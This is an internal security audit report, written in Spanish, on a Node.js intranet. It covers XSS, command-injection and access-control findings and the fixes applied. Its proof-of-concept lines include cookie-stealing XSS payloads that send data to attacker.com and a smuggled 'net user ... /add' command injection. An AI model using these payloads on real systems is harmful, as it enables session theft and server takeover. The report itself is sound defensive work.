DOCUMENTO CONFIDENCIAL — CLASIFICACION: USO INTERNO — NO DISTRIBUIR EXTERNAMENTE

VALUE STRATEGY CONSULTING

Auditoria de Seguridad

Intranet VCS (SecondBrain) — Plataforma de Gestion del Conocimiento

Documento:	SEC-AUDIT-2026-001
Fecha:	25 de febrero de 2026
Version:	1.0 — Final
Clasificacion:	Confidencial — Uso Interno
Alcance:	Codigo fuente completo, infraestructura Docker, scripts VPS
Metodologia:	Revision manual de codigo + analisis estatico (OWASP Top 10 2021)
Sistema:	Node.js/Express + PostgreSQL 16 + Redis + Docker
URL Produccion:	aiprowork.com

1. Resumen Ejecutivo

Se realizo una auditoria completa de seguridad del codigo fuente de la plataforma Intranet VCS (SecondBrain), cubriendo autenticacion, autorizacion, inyeccion (SQL/XSS/Command), manejo de archivos, configuracion de infraestructura y criptografia.

Se identificaron 17 vulnerabilidades, de las cuales **3 son criticas** y **5 de severidad alta**. Las 11 vulnerabilidades mas graves fueron **corregidas inmediatamente** durante esta auditoria. Las 6 restantes fueron evaluadas y aceptadas o dejadas como pendientes de baja prioridad.

La postura general del sistema es **solida en su base** (queries parametrizados, rate limiting, Helmet CSP, 2FA, audit log), pero presentaba gaps criticos en sanitizacion de output (XSS) y control de acceso granular.

1.1 Distribucion por Severidad

SEVERIDAD	ENCONTRADAS	CORREGIDAS	PENDIENTES	TASA DE REMEDIACION
CRITICA	3	3	0	100%
ALTA	5	5	0	100%
MEDIA	5	3	2	60%
BAJA	4	0	4	0% (aceptadas)
TOTAL	**17**	**11**	**6**	**65%**

1.2 Distribucion por Categoria OWASP

CATEGORIA OWASP	HALLAZGOS
A1 — Broken Access Control	4
A2 — Cryptographic / Authentication Failures	3
A3 — Injection (SQL, Command)	3
A5 — Security Misconfiguration	2
A7 — Cross-Site Scripting (XSS)	3
Otros (mejores practicas)	2

2. Hallazgos Criticos

C-01 — Stored XSS en Renderizado de Ideas

CAMPO	DETALLE
ID	SEC-2026-001-C01
Severidad	CRITICA
Estado	CORREGIDO
OWASP	A7 — Cross-Site Scripting
CWE	CWE-79: Improper Neutralization of Input During Web Page Generation
CVSS 3.1	8.4 (High) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
Ubicacion	`apps/dashboard/public/js/main.js` — lineas 1718-1797

Descripcion tecnica:

Multiples campos del objeto `idea` provenientes de la base de datos se inyectaban directamente en innerHTML sin aplicar la funcion `escapeHtml()` existente en el mismo archivo. Los campos afectados incluyen:

- `idea.para_type`, `idea.assigned_to`, `idea.priority`, `idea.estimated_time`, `idea.created_by`, `idea.contexto` — inyectados en badges HTML
- `idea.para_type`, `idea.assigned_to`, `idea.priority` — inyectados dentro de atributos `onclick` (doble contexto de escape requerido: HTML + JavaScript string)
- `idea.suggested_agent` — inyectado en atributos `onclick`

Prueba de concepto:

```
assigned_to: </span><img src=x onerror=fetch('//attacker.com?c='+document.cookie)>
```

Al crear una idea con este valor, cualquier usuario que navegue a la seccion de Ideas ejecuta involuntariamente el payload JavaScript.

Impacto:

- Robo de cookies de sesion (session hijacking)
- Escalacion de privilegios (un usuario `consultor` puede obtener sesion de `admin`)
- Exfiltracion de datos sensibles
- Defacement de la interfaz

Remediacion aplicada:

Se aplico `escapeHtml()` a todos los campos interpolados en innerHTML y atributos onclick. Para contextos onclick, se aplico doble escape (HTML entity + JS string escaping).

C-02 — Stored XSS via Markdown sin Sanitizacion

CAMPO	DETALLE
ID	SEC-2026-001-C02
Severidad	CRITICA
Estado	CORREGIDO
OWASP	A7 — Cross-Site Scripting
CWE	CWE-79
CVSS 3.1	7.6 (High)
Ubicacion	`apps/dashboard/routes/files.js:100` + `views/archivo.ejs`

Descripcion tecnica:

La funcion `marked(content)` de la libreria `marked` convierte Markdown a HTML pero no sanitiza etiquetas peligrosas (script, iframe, event handlers). El HTML resultante se renderiza en el template EJS con la sintaxis `<%- content %>` (output sin escapar).

Prueba de concepto:

Subir un archivo `.md` con el siguiente contenido:

```
# Documento Normal
<img src=x onerror="document.location='//attacker.com?
cookie='+document.cookie">
<iframe src="javascript:alert(document.domain)"></iframe>
```

Remediacion aplicada:

Se instalo `isomorphic-dompurify` (DOMPurify para Node.js) y se aplica sanitizacion:

```
const DOMPurify = require('isomorphic-dompurify');
const htmlContent = DOMPurify.sanitize(marked(content));
```

C-03 — Command Injection en Orchestrator Bridge

CAMPO	DETALLE
ID	SEC-2026-001-C03
Severidad	CRITICA
Estado	CORREGIDO
OWASP	A3 — Injection
CWE	CWE-78: OS Command Injection
CVSS 3.1	8.2 (High) — AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Ubicacion	`apps/dashboard/services/orchestratorBridge.js:35-51`

Descripcion tecnica:

El comando `open-project` construia un string para `child_process.exec()` con input del usuario:

```
cmdStr = `start "" "${targetPath}"`;
exec(cmdStr, callback);
```

La funcion `exec()` invoca un shell (cmd.exe en Windows), permitiendo inyeccion de comandos mediante metacaracteres del shell.

Prueba de concepto:

```
targetPath: " & net user attacker P@ssw0rd /add & "
```

Resultado: creacion de un usuario local en el servidor.

Factor atenuante: Requiere rol `admin` o `ceo` para acceder al endpoint.

Remediacion aplicada:

- Reemplazo de `exec()` por `execFile()` (no invoca shell, pasa argumentos como array)
- Validacion de existencia del path con `fs.existsSync()`
- Regex estricto para nombres de script: `/^[a-zA-Z0-9_-]+(\.[a-zA-Z0-9]+)?$/`

- Verificacion de que el path resuelto no escape del directorio permitido (path traversal)

3. Hallazgos de Severidad Alta

A-01 — Politica de Contrasenas Insuficiente

CAMPO	DETALLE
ID	SEC-2026-001-A01
Severidad	ALTA
Estado	CORREGIDO
OWASP	A7 — Identification and Authentication Failures
Ubicacion	`routes/admin.js:103`, `routes/auth.js:288`, `public/js/main.js`

Descripcion: Minimo de contrasena establecido en 4 caracteres sin requisitos de complejidad. Con el mecanismo de account lockout (30 minutos tras 5 intentos), un atacante puede realizar ~240 intentos por dia, suficiente para comprometer passwords de 4 caracteres en horas.

Referencia: NIST SP 800-63B recomienda minimo 8 caracteres para memorized secrets.

Remediacion: Minimo incrementado a 8 caracteres en backend (admin.js, auth.js) y frontend (main.js).

A-02 — API Key Expuesta en URL Query String

CAMPO	DETALLE
ID	SEC-2026-001-A02
Severidad	ALTA
Estado	CORREGIDO
OWASP	A2 — Cryptographic Failures
Ubicacion	`middleware/auth.js:5`

Descripcion: La API key se aceptaba como parametro `?api_key=xxx` en la URL, causando exposicion en: logs de nginx/access.log, historial del navegador, cache de proxy/CDN, headers `Referer` enviados a sitios externos.

Remediacion: Eliminado `req.query.api_key`. Solo se acepta el header `X-API-Key`.

A-03 — Creacion de API Keys sin Autorizacion de Admin

CAMPO	DETALLE
ID	SEC-2026-001-A03
Severidad	ALTA
Estado	CORREGIDO
OWASP	A1 — Broken Access Control
Ubicacion	`routes/external.js:182-206`

Descripcion: `GET /api/keys` y `POST /api/keys` carecian del middleware `requireAdmin`. Cualquier usuario autenticado (incluyendo roles `consultor`, `usuario`, `cliente`) podia crear API keys con permisos completos `read,write`, obteniendo acceso total a la API externa incluyendo captura de ideas, digest, y webhooks.

Remediacion: Middleware `requireAdmin` agregado a ambos endpoints.

A-04 — Endpoints Sensibles sin Restriccion de Rol

CAMPO	DETALLE
ID	SEC-2026-001-A04
Severidad	ALTA
Estado	CORREGIDO
OWASP	A1 — Broken Access Control
Ubicacion	`routes/admin.js`

Descripcion: Los siguientes endpoints no tenian `requireAdmin`:

ENDPOINT	DATOS EXPUESTOS
`GET /api/users`	Lista completa con `locked_until`, `twofa_enabled`, `twofa_enforced`
`GET /api/export`	Dump completo de la BD en JSON
`GET /api/export-excel`	Dump completo de la BD en Excel con KPIs

Un usuario con rol `consultor` podia descargar toda la informacion de la empresa.

Remediacion: `requireAdmin` agregado a los tres endpoints.

A-05 — Webhook Fireflies sin Autenticacion

CAMPO	DETALLE
ID	SEC-2026-001-A05
Severidad	ALTA
Estado	CORREGIDO
OWASP	A1 — Broken Access Control
Ubicacion	`server.js:232-246`

Descripcion: El endpoint `POST /webhook/fireflies` estaba montado antes del middleware `requireAuth` y no requeria API key ni validacion de firma. Cualquier actor en internet podia inyectar datos falsos de reuniones en el sistema.

Remediacion: Verificacion `req.isApiRequest` agregada, requiriendo header `X-API-Key` valido.

4. Hallazgos de Severidad Media

M-01 — Session Cookie sin Flag Secure

CAMPO	DETALLE
ID	SEC-2026-001-M01
Severidad	MEDIA
Estado	CORREGIDO
Ubicacion	`server.js:185`

Descripcion: `secure: false` hardcodeado. Si un usuario accedia por HTTP antes del redirect HTTPS, la cookie de sesion se transmitia en texto plano, susceptible a intercepcion (MITM).

Remediacion: `secure: NODE_ENV === 'production'` — la cookie solo se envia por HTTPS en produccion.

M-02 — Proteccion CSRF Parcial (DELETE/PUT)

CAMPO	DETALLE
ID	SEC-2026-001-M02
Severidad	MEDIA
Estado	ACEPTADO
Ubicacion	`server.js:257-265`

Descripcion: La proteccion CSRF basada en content-type solo aplica a `POST`. Los metodos `DELETE` y `PUT` saltan la verificacion, dependiendo unicamente de CORS para proteccion cross-origin.

Justificacion de aceptacion: Con C-01 corregido (XSS eliminado), el vector de ataque principal esta cerrado. CORS bloquea requests cross-origin para DELETE/PUT. El riesgo residual es aceptable.

M-03 — SQL con LIMIT/OFFSET Interpolado

CAMPO	DETALLE
ID	SEC-2026-001-M03
Severidad	MEDIA
Estado	CORREGIDO
Ubicacion	`routes/ideas.js:99` , `routes/gtd.js:166`

Descripcion: `LIMIT ${limitNum} OFFSET ${offset}` interpolado directamente en template literals SQL. Aunque los valores pasaban por `parseInt()` + `Math.min()/Math.max()` , constituye un anti-patron que viola el principio de defensa en profundidad.

Remediacion: Convertido a queries parametrizados: `LIMIT ? OFFSET ?` con `[limitNum, offset]` .

M-04 — Audit Log sin Retencion Automatica

CAMPO	DETALLE
ID	SEC-2026-001-M04
Severidad	MEDIA
Estado	PENDIENTE

Descripcion: La tabla `audit_log` crece indefinidamente sin politica de retencion. En un sistema con actividad sostenida, esto puede degradar rendimiento de queries y consumir espacio en disco.

Recomendacion: Implementar cron job o migracion que elimine registros mayores a 90 dias. Considerar exportar registros antiguos antes de eliminarlos.

M-05 — Trusted Device Hash Basado Solo en User-Agent

CAMPO	DETALLE
ID	SEC-2026-001-M05
Severidad	MEDIA
Estado	CORREGIDO
Ubicacion	`helpers/twofa.js:41` , `routes/twofa.js:95`

Descripcion: `computeDeviceHash()` solo hasheaba el `User-Agent` . Dado que el UA es informacion publica (presente en logs, headers compartidos), un atacante con acceso al UA de la victima podia clonar el "trusted device" y evadir 2FA.

Remediacion: Hash ahora combina `User-Agent + IP` : `sha256(ua + '|' + ip)` . Un atacante necesitaria tanto el UA como la IP de la victima para clonar el dispositivo confiable.

5. Hallazgos de Severidad Baja

ID	HALLAZGO	OWASP	ESTADO
B-01	bcrypt cost factor 10 (OWASP recomienda 12+ para 2026)	A2	ACEPTADO
B-02	`/health` expone uptime, timestamp y build ID	A5	ACEPTADO
B-03	Error messages podrian filtrar info en desarrollo	A5	ACEPTADO
B-04	Password default de PostgreSQL en docker-compose.yml	A7	ACEPTADO

B-01: Factor 10 sigue siendo computacionalmente costoso para ataques offline. Se acepta el riesgo con plan de incrementar a 12 en proxima iteracion.

B-02: La informacion expuesta es de bajo valor para atacantes. El endpoint es necesario para healthchecks de Docker.

B-03: Controlado correctamente por `NODE_ENV`. En produccion, los stack traces no se exponen al usuario.

B-04: El repositorio es privado. En produccion, el valor se sobreescribe via archivo `.env`. El default solo aplica en desarrollo local.

6. Controles de Seguridad Existentes

La auditoria verifico que los siguientes controles funcionan correctamente:

- ✓ Queries SQL parametrizados en toda la aplicacion
- ✓ Helmet CSP con whitelist restrictiva de dominios
- ✓ Redes Docker separadas (web + internal aislada)
- ✓ Audit log centralizado (15 tipos de eventos)
- ✓ fail2ban en nginx (IP ban tras 5 intentos)
- ✓ CORS con whitelist de origenes en produccion
- ✓ Middleware de validacion de input (validateBody)
- ✓ Soft-delete con deleted_at (preserva datos)
- ✓ Rate limiting: 5 limiters (API, AI, login, upload, download)
- ✓ Firewall UFW (solo puertos 22, 80, 443)
- ✓ Account lockout (5 intentos = 30 min bloqueo)
- ✓ 2FA adaptativo (TOTP + recovery codes + trusted devices)
- ✓ Backups encriptados con GPG (opcional)
- ✓ Sesiones Redis con httpOnly + sameSite:lax
- ✓ Proteccion IDOR (requireOwnerOrAdmin)
- ✓ Graceful shutdown con cierre de conexiones

7. Matriz de Riesgo Residual

Tras aplicar las correcciones, el perfil de riesgo del sistema es:

AREA	RIESGO PRE-AUDITORIA	RIESGO POST-CORRECCION
Cross-Site Scripting (XSS)	CRITICO	BAJO
Injection (SQL/Command)	CRITICO	BAJO
Broken Access Control	ALTO	BAJO
Authentication Failures	ALTO	BAJO
Security Misconfiguration	MEDIO	BAJO
Cryptographic Failures	MEDIO	BAJO

8. Recomendaciones a Futuro

PRIORIDAD	RECOMENDACION	ESFUERZO
1	Implementar retencion automatica de audit_log (M-04)	1 hora
2	Incrementar bcrypt cost factor a 12 (B-01)	5 min
3	Agregar CSRF tokens para DELETE/PUT (M-02)	2 horas
4	Implementar Content Security Policy mas estricta (eliminar unsafe-inline)	4 horas
5	Agregar rate limiting especifico por usuario (no solo por IP)	2 horas
6	Implementar rotacion automatica de API keys (expiracion 90 dias)	3 horas
7	Agregar firma HMAC para webhook Fireflies (en vez de API key)	1 hora

9. Lecciones Aprendidas

1. **Escapar siempre, no solo a veces.** Si `escapeHtml()` existe en el codebase, debe usarse en CADA campo que proviene de la base de datos. La inconsistencia (escapar en un lugar pero no en otro) crea una falsa sensacion de seguridad.

2. **Minimos de password deben reflejar estandares vigentes.** 4 caracteres nunca fue aceptable. NIST 800-63B establece minimo 8 caracteres sin restricciones artificiales de complejidad.

3. `exec()` **nunca con input del usuario.** Siempre usar `execFile()` o `spawn()` con argumentos como array separado, evitando la interpretacion del shell.
4. **Cada endpoint necesita autorizacion explicita.** "Esta detras de requireAuth" no es suficiente. Endpoints que exponen datos sensibles o realizan operaciones destructivas requieren verificacion de roles (requireAdmin).
5. **Webhooks publicos son puertas abiertas.** Todo endpoint que recibe datos de servicios externos debe validar autenticidad mediante firma HMAC, API key, o IP whitelist.

Fin del documento — SEC-AUDIT-2026-001 v1.0